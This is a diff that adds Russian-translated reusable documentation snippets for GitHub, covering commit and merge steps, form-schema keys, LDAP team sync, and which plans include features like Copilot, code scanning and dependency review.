Чтобы создать связи дочерних и родительских команд, необходимо вручную повторно создать структуру вложенной команды и синхронизировать ее с соответствующей группой LDAP. Дополнительные сведения см. в разделе [Создание команд](/enterprise/admin/guides/user-management/creating-teams/#creating-teams-with-ldap-sync-enabled) {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/manage-global-webhooks-api.md b/translations/ru-RU/data/reusables/enterprise_user_management/manage-global-webhooks-api.md new file mode 100644 index 000000000000..86d5faeaab48 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/manage-global-webhooks-api.md @@ -0,0 +1 @@ +You can also use the {% data variables.product.prodname_enterprise_api %} to manage global webhooks. For a complete list of actions, see "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks)." diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/two_factor_auth_header.md b/translations/ru-RU/data/reusables/enterprise_user_management/two_factor_auth_header.md new file mode 100644 index 000000000000..84c5ccee9be6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/two_factor_auth_header.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a9e023ab671f0ff614c4bb653d90cb0b83292c75 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067622" +--- +### Двухфакторная проверка подлинности diff --git a/translations/ru-RU/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md b/translations/ru-RU/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md new file mode 100644 index 000000000000..122d47a3efde --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_user_management/unauthenticated-sign-ups.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4cc8e477fee9d08b044135315ff29aff9193f683 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111059" +--- +По умолчанию пользователи, которые могут получить доступ к вашему экземпляру без проверки подлинности, могут создать новую личную учетную запись в вашем экземпляре. diff --git a/translations/ru-RU/data/reusables/feature-preview/feature-preview-setting.md b/translations/ru-RU/data/reusables/feature-preview/feature-preview-setting.md new file mode 100644 index 000000000000..5edf62473717 --- /dev/null +++ b/translations/ru-RU/data/reusables/feature-preview/feature-preview-setting.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: dabad0ec0fcd65fabf5c0d0e44ef26e75f9a129f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111056" +--- +1. В правом верхнем углу любой страницы нажмите на свою фотографию профиля и выберите **Предварительная версия функции**. + ![Кнопка "Предварительная версия функции"](/assets/images/help/settings/feature-preview-button.png) diff --git a/translations/ru-RU/data/reusables/files/add-file.md b/translations/ru-RU/data/reusables/files/add-file.md new file mode 100644 index 000000000000..ba95834bd31a --- /dev/null +++ b/translations/ru-RU/data/reusables/files/add-file.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: cfa9911313c25c83dbaa6e7f2db2ad2901ba0b32 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111051" +--- +1. Над списком файлов в раскрывающемся списке **Добавить файл** щелкните **Создать файл**. + !["Создать файл" в раскрывающемся списке "Добавить файл"](/assets/images/help/repository/create_new_file.png) diff --git a/translations/ru-RU/data/reusables/files/choose-commit-email.md b/translations/ru-RU/data/reusables/files/choose-commit-email.md new file mode 100644 index 000000000000..e8e07c32bf0c --- /dev/null +++ b/translations/ru-RU/data/reusables/files/choose-commit-email.md @@ -0,0 +1,4 @@ +{% ifversion fpt or ghec %} +1. If you have more than one email address associated with your account on {% data variables.location.product_location %}, click the email address drop-down menu and select the email address to use as the Git author email address. Only verified email addresses appear in this drop-down menu. If you enabled email address privacy, then `@users.noreply.github.com` is the default commit author email address. For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)." +![Choose commit email addresses](/assets/images/help/repository/choose-commit-email-address.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/files/choose_commit_branch.md b/translations/ru-RU/data/reusables/files/choose_commit_branch.md new file mode 100644 index 000000000000..c9a3ffe1dfc6 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/choose_commit_branch.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 85338dad2718397f55087a849a3a35a5ab1643bb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111032" +--- +1. Под полями сообщения о фиксации укажите, куда следует добавить фиксацию: в текущую ветвь или в новую. Если текущей ветвью является ветвь по умолчанию, нужно создать новую ветвь для фиксации, а затем создать запрос на вытягивание. Дополнительные сведения см. в разделе [Создание нового запроса на вытягивание](/articles/creating-a-pull-request). + ![Параметры фиксации ветви](/assets/images/help/repository/choose-commit-branch.png) diff --git a/translations/ru-RU/data/reusables/files/choose_pull_request.md b/translations/ru-RU/data/reusables/files/choose_pull_request.md new file mode 100644 index 000000000000..ed26f8923160 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/choose_pull_request.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d326540dccbf5c9c347b17655e0c8d7207040c95 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111027" +--- +1. Создайте запрос на вытягивание для предлагаемых изменений. +2. В списке "Запросы на вытягивание" щелкните запрос на вытягивание, который хотите объединить. diff --git a/translations/ru-RU/data/reusables/files/commit-author-email-options.md b/translations/ru-RU/data/reusables/files/commit-author-email-options.md new file mode 100644 index 000000000000..5d68ba414118 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/commit-author-email-options.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 40da80eba8e1b2429acf28590cd3829c76c2cd4f +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878930" +--- +{% ifversion fpt or ghec %} Если вы не включили конфиденциальность адресов электронной почты, вы можете выбрать проверенный адрес электронной почты для создания изменений при редактировании, удалении или создании файлов или слиянии запроса на вытягивание для {% data variables.product.product_name %}. Если вы включили конфиденциальность адресов электронной почты, адрес электронной почты автора фиксации ( по умолчанию `@users.noreply.github.com`) изменить не удастся. +{% endif %} diff --git a/translations/ru-RU/data/reusables/files/confirm_merge.md b/translations/ru-RU/data/reusables/files/confirm_merge.md new file mode 100644 index 000000000000..db9947d5fe6b --- /dev/null +++ b/translations/ru-RU/data/reusables/files/confirm_merge.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 250bb67b713e1bae716bb9d853efdf24af3ce1fd +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878938" +--- +1. Щелкните **Подтвердить слияние**. diff --git a/translations/ru-RU/data/reusables/files/delete_branch.md b/translations/ru-RU/data/reusables/files/delete_branch.md new file mode 100644 index 000000000000..31724b3806e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/delete_branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fc0b66bc509f285e2a1a490b05fa7541f558b695 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878925" +--- +1. При необходимости удалите ветвь. Дополнительные сведения см. в разделе [Создание и удаление ветвей репозитория](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository). diff --git a/translations/ru-RU/data/reusables/files/merge_pull_request.md b/translations/ru-RU/data/reusables/files/merge_pull_request.md new file mode 100644 index 000000000000..8a1752c4c90a --- /dev/null +++ b/translations/ru-RU/data/reusables/files/merge_pull_request.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e9769095c3b23dc57ede7940c14118600ff4c6e9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110984" +--- +1. Щелкните **Выполнить слияние запросов на вытягивание**. Дополнительные сведения см. в разделе [Слияние запроса на вытягивание](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request). diff --git a/translations/ru-RU/data/reusables/files/preview_change.md b/translations/ru-RU/data/reusables/files/preview_change.md new file mode 100644 index 000000000000..7f260ce364c4 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/preview_change.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 016528806b3932153ddeec7a9055b1ef49d8542b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878918" +--- +1. Над новым содержимым щелкните элемент **Просмотреть изменения**. +![Кнопка "Предварительный просмотр файла"](/assets/images/help/repository/edit-readme-preview-changes.png) diff --git a/translations/ru-RU/data/reusables/files/propose_file_change.md b/translations/ru-RU/data/reusables/files/propose_file_change.md new file mode 100644 index 000000000000..3778b6651b58 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/propose_file_change.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d54f4d7bef49c1fe252045617133fc5080c23606 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882122" +--- +1. Щелкните **Предложить изменение файла**. +![Кнопка "Предложить изменение файла"](/assets/images/help/repository/propose-file-change-quick-pull.png) diff --git a/translations/ru-RU/data/reusables/files/propose_new_file.md b/translations/ru-RU/data/reusables/files/propose_new_file.md new file mode 100644 index 000000000000..18cc806ec977 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/propose_new_file.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d705f739e355537bc721d0e39215ef01b79e4891 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110968" +--- +1. Щелкните **Предложить новый файл** +![Кнопка "Предложить новый файл"](/assets/images/help/repository/new-file-commit-button.png) diff --git a/translations/ru-RU/data/reusables/files/write_commit_message.md b/translations/ru-RU/data/reusables/files/write_commit_message.md new file mode 100644 index 000000000000..dbe6e1992b6b --- /dev/null +++ b/translations/ru-RU/data/reusables/files/write_commit_message.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: da8f8a4bbf66cbdfe22febc104077cfa26d90527 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878913" +--- +1. В нижней части страницы введите короткое понятное сообщение о фиксации, описывающее внесенное в файл изменение. В таком сообщении фиксацию можно отнести к нескольким авторам. Дополнительные сведения см. в разделе [Создание фиксации с несколькими соавторами](/articles/creating-a-commit-with-multiple-authors). +![Сообщение о фиксации для изменения](/assets/images/help/repository/write-commit-message-quick-pull.png) diff --git a/translations/ru-RU/data/reusables/files/write_commit_message_pull_request.md b/translations/ru-RU/data/reusables/files/write_commit_message_pull_request.md new file mode 100644 index 000000000000..9cf9849c1ba1 --- /dev/null +++ b/translations/ru-RU/data/reusables/files/write_commit_message_pull_request.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a381bc59237061fa548c491b5a652207b13d2974 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110952" +--- +1. При появлении запроса введите сообщение о фиксации или примите сообщение по умолчанию. + ![Поле сообщения о фиксации](/assets/images/help/pull_requests/merge_box/pullrequest-commitmessage.png) diff --git a/translations/ru-RU/data/reusables/form-schema/attributes-intro.md b/translations/ru-RU/data/reusables/form-schema/attributes-intro.md new file mode 100644 index 000000000000..909ac4e8c847 --- /dev/null +++ b/translations/ru-RU/data/reusables/form-schema/attributes-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8b03eefaf53e60baf58f11cd16b23816bd70c325 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110947" +--- +Для значения ключа `attributes` можно задать следующие ключи. diff --git a/translations/ru-RU/data/reusables/form-schema/id-must-be-unique.md b/translations/ru-RU/data/reusables/form-schema/id-must-be-unique.md new file mode 100644 index 000000000000..e473ee975d4c --- /dev/null +++ b/translations/ru-RU/data/reusables/form-schema/id-must-be-unique.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4755154f38f0c5ba0a899e99d149a06837428941 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145110944" +--- +Может использовать только буквенно-цифровые символы, `-` и `_`. Должен быть уникальным в определении формы. diff --git a/translations/ru-RU/data/reusables/form-schema/options-syntax.md b/translations/ru-RU/data/reusables/form-schema/options-syntax.md new file mode 100644 index 000000000000..e0380fe6c3cd --- /dev/null +++ b/translations/ru-RU/data/reusables/form-schema/options-syntax.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 8c4d9cf87f07ddec24069115347a41b6a4538400 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145110920" +--- +Для каждого значения в массиве `options` можно задать указанные ниже ключи. + +| Ключ | Описание | Обязательно | Тип | По умолчанию | Варианты | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | Идентификатор параметра, который отображается в форме. Markdown поддерживается для форматирования текста, выделенного полужирным шрифтом или курсивом, и гиперссылок. | Обязательно | Строка | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | diff --git a/translations/ru-RU/data/reusables/form-schema/required-key.md b/translations/ru-RU/data/reusables/form-schema/required-key.md new file mode 100644 index 000000000000..d3929d063eb5 --- /dev/null +++ b/translations/ru-RU/data/reusables/form-schema/required-key.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 34a0cbfd40daa41578526246843b1c465735523b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110915" +--- +| `required` | Предотвращает отправку формы до завершения элемента. | Необязательный | Логический | false | {% octicon "dash" aria-label="The dash icon" %} | diff --git a/translations/ru-RU/data/reusables/form-schema/validations-intro.md b/translations/ru-RU/data/reusables/form-schema/validations-intro.md new file mode 100644 index 000000000000..b761053c922d --- /dev/null +++ b/translations/ru-RU/data/reusables/form-schema/validations-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fad80a62382f74cba0c867bc1aae1c1456d452dd +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878362" +--- +Для значения ключа `validations` можно задать следующие ключи. diff --git a/translations/ru-RU/data/reusables/gated-features/auto-merge.md b/translations/ru-RU/data/reusables/gated-features/auto-merge.md new file mode 100644 index 000000000000..80dea01ec7c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/auto-merge.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 74d85141d7ed6541af8fed171732a3b2428500ac +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879277" +--- +{% ifversion ghae %}Автоматическое слияние для запросов на вытягивание доступно во внутренних и частных репозиториях при использовании {% data variables.product.prodname_ghe_managed %}, {% else %}Автоматическое слияние для запросов на вытягивание доступно {% endif %} в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/autolinks.md b/translations/ru-RU/data/reusables/gated-features/autolinks.md new file mode 100644 index 000000000000..baeebcf875d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/autolinks.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a1a09f339279fcba599e16dd3b3b1e54f2e9ae04 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110888" +--- +Автоматические ссылки доступны в репозиториях с {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/code-owners.md b/translations/ru-RU/data/reusables/gated-features/code-owners.md new file mode 100644 index 000000000000..781fd3ae209e --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/code-owners.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 79d254df59b0b6774fd22382809d280c903517ee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110883" +--- +Вы можете определить владельцев кода в общедоступных репозиториях при использовании {% data variables.product.prodname_free_user %} и {% data variables.product.prodname_free_team %} для организаций, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %},{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_server %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/code-review-assignment.md b/translations/ru-RU/data/reusables/gated-features/code-review-assignment.md new file mode 100644 index 000000000000..56aeebd90973 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/code-review-assignment.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 603a97616caf478a277c528391a5f833aea0fe85 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145951041" +--- +Параметры проверки кода доступны во всех общедоступных репозиториях организации, а также во всех частных репозиториях организации в {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} версии 2.20 или более поздней,{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_cloud %}. Дополнительные сведения см. в разделе [Продукты GitHub](/articles/githubs-products). diff --git a/translations/ru-RU/data/reusables/gated-features/code-scanning.md b/translations/ru-RU/data/reusables/gated-features/code-scanning.md new file mode 100644 index 000000000000..d5554aa42b5f --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/code-scanning.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 0ea67362c541ed183fec256765d5bb9d1fd18e3c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109352" +--- +{%- ifversion fpt %} {% data variables.product.prodname_code_scanning_capc %} доступно во всех открытых репозиториях на {% data variables.product.prodname_dotcom_the_website %}. {% data variables.product.prodname_code_scanning_capc %} также доступно в частных репозиториях, принадлежащих организациям, которые используют {% data variables.product.prodname_ghe_cloud %} и имеют лицензию на {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghec %} {% data variables.product.prodname_code_scanning_capc %} доступно во всех открытых репозиториях на {% data variables.product.prodname_dotcom_the_website %}. Чтобы использовать {% data variables.product.prodname_code_scanning %} в частном репозитории, принадлежащем организации, необходима лицензия на {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghes %} {% data variables.product.prodname_code_scanning_capc %} доступно в репозиториях, принадлежащих организациям, в {% data variables.product.product_name %}. Для этой функции требуется лицензия на {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghae %} {% data variables.product.prodname_code_scanning_capc %} доступно в репозиториях, принадлежащих организациям, в {% data variables.product.product_name %}. Это функция входит в состав {% data variables.product.prodname_GH_advanced_security %} (на этапе бета-версии предоставляется бесплатно). + +{%- endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/ru-RU/data/reusables/gated-features/codespaces-classroom-articles.md b/translations/ru-RU/data/reusables/gated-features/codespaces-classroom-articles.md new file mode 100644 index 000000000000..3f865ae87e8a --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/codespaces-classroom-articles.md @@ -0,0 +1 @@ +{% data variables.product.prodname_github_codespaces %} is available to use with {% data variables.product.prodname_classroom %} for organizations that use {% data variables.product.prodname_team %}. To find out if you qualify for a free upgrade to {% data variables.product.prodname_team %}, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." diff --git a/translations/ru-RU/data/reusables/gated-features/copilot-billing.md b/translations/ru-RU/data/reusables/gated-features/copilot-billing.md new file mode 100644 index 000000000000..a307bfb3f1ca --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/copilot-billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ed3544608134084a2a11c5db9e9c474b29c14e41 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109351" +--- +Выставление счетов за {% data variables.product.prodname_copilot %} в настоящее время можно управлять только через личные учетные записи. В настоящее время организации не могут управлять выставлением счетов за {% data variables.product.prodname_copilot %} для участников организации. Если вы хотите управлять выставлением счетов за {% data variables.product.prodname_copilot %} через свою организацию, вы можете присоединиться к [списку ожидания](https://github.com/features/copilot/org_signup). diff --git a/translations/ru-RU/data/reusables/gated-features/copilot.md b/translations/ru-RU/data/reusables/gated-features/copilot.md new file mode 100644 index 000000000000..d3934e6518bc --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/copilot.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: c408676063e80cca29eb7392181c00c4ecf7f76d +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: "148160786" +--- +{% data variables.product.prodname_copilot %} доступен клиентам {% data variables.product.company_short %} с личной учетной записью на {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.copilot.emus-cannot-use-copilot %}

+ +{% data variables.product.prodname_copilot %} можно бесплатно использовать для проверенных учащихся, преподавателей и ведения популярных открытый код проектов. Если вы не являетесь студентом, преподавателем или хранителем популярного проекта открытый код, вы можете попробовать {% data variables.product.prodname_copilot %} бесплатно с помощью однократной 60-дневной пробной версии. После пробного периода вы сможете приобрести платную подписку. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot). diff --git a/translations/ru-RU/data/reusables/gated-features/dependency-review.md b/translations/ru-RU/data/reusables/gated-features/dependency-review.md new file mode 100644 index 000000000000..96df071d112b --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/dependency-review.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 285d547af855fed298354ee62716de9e6c168608 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062980" +--- +{%- ifversion fpt %} Проверка зависимостей включена в общедоступных репозиториях. Кроме того, проверка зависимостей доступна в частных репозиториях, принадлежащих организациям, которые используют {% data variables.product.prodname_ghe_cloud %} и имеют лицензию на {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghec %} Проверка зависимостей включена в состав {% data variables.product.product_name %} для общедоступных репозиториев. Чтобы использовать проверку зависимостей в частных репозиториях, принадлежащих организациям, необходимо иметь лицензию на {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghes %} Проверка зависимостей доступна для принадлежащих организациям репозиториев в {% data variables.product.product_name %}. Для этой функции требуется лицензия на {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghae %} Проверка зависимостей доступна для принадлежащих организациям репозиториев в {% data variables.product.product_name %}. Это функция входит в состав {% data variables.product.prodname_GH_advanced_security %} (на этапе бета-версии предоставляется бесплатно). + +{%- endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/ru-RU/data/reusables/gated-features/dependency-vulnerable-calls.md b/translations/ru-RU/data/reusables/gated-features/dependency-vulnerable-calls.md new file mode 100644 index 000000000000..139e3862baee --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/dependency-vulnerable-calls.md @@ -0,0 +1,13 @@ +{%- ifversion fpt %} +Detection of vulnerable calls is enabled on public repositories. This analysis is also available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have licensed {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghec %} +Detection of vulnerable calls is included in {% data variables.product.product_name %} for public repositories. To detect vulnerable calls in private repositories owned by organizations, your organization must have a license for {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghes > 3.5 %} +Detection of vulnerable calls is available for organization-owned repositories in {% data variables.product.product_name %}. This feature requires a license for {% data variables.product.prodname_GH_advanced_security %}. + +{%- elsif ghae > 3.5 %} +Detection of vulnerable calls is available for organization-owned repositories in {% data variables.product.product_name %}. This is a {% data variables.product.prodname_GH_advanced_security %} feature (free during the beta release). + +{%- endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/ru-RU/data/reusables/gated-features/display-names.md b/translations/ru-RU/data/reusables/gated-features/display-names.md new file mode 100644 index 000000000000..49a5a06e5661 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/display-names.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 95abc11cb1432bcd6815a664f1753df429ca80ca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145110816" +--- +Разрешить участникам видеть имена профилей авторов комментариев можно в {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} версии 2.18 или более поздней,{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_cloud %}. Дополнительные сведения см. в разделе [Продукты GitHub](/articles/githubs-products). diff --git a/translations/ru-RU/data/reusables/gated-features/draft-prs.md b/translations/ru-RU/data/reusables/gated-features/draft-prs.md new file mode 100644 index 000000000000..0ed7e4ad87cf --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/draft-prs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8e0d994d78f04ffce779c939db665a1b173061f4 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145110811" +--- +Черновики запросов на вытягивание доступны в общедоступных репозиториях при использовании {% data variables.product.prodname_free_team %} для организаций и устаревших планов выставления счетов для каждого репозитория, а также в общедоступных и частных репозиториях при использовании {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_server %} версии 2.17 или более поздней,{% ifversion ghae %} {% data variables.product.prodname_ghe_managed %},{% endif %} и {% data variables.product.prodname_ghe_cloud %}. {% ifversion fpt or ghec %}{% data reusables.gated-features.more-info %}{% endif %} diff --git a/translations/ru-RU/data/reusables/gated-features/emus.md b/translations/ru-RU/data/reusables/gated-features/emus.md new file mode 100644 index 000000000000..86ea7a8cdc99 --- /dev/null +++ b/translations/ru-RU/data/reusables/gated-features/emus.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4bcc829a94949275f1af0c8f2107a07bb8545117 +ms.sourcegitcommit: 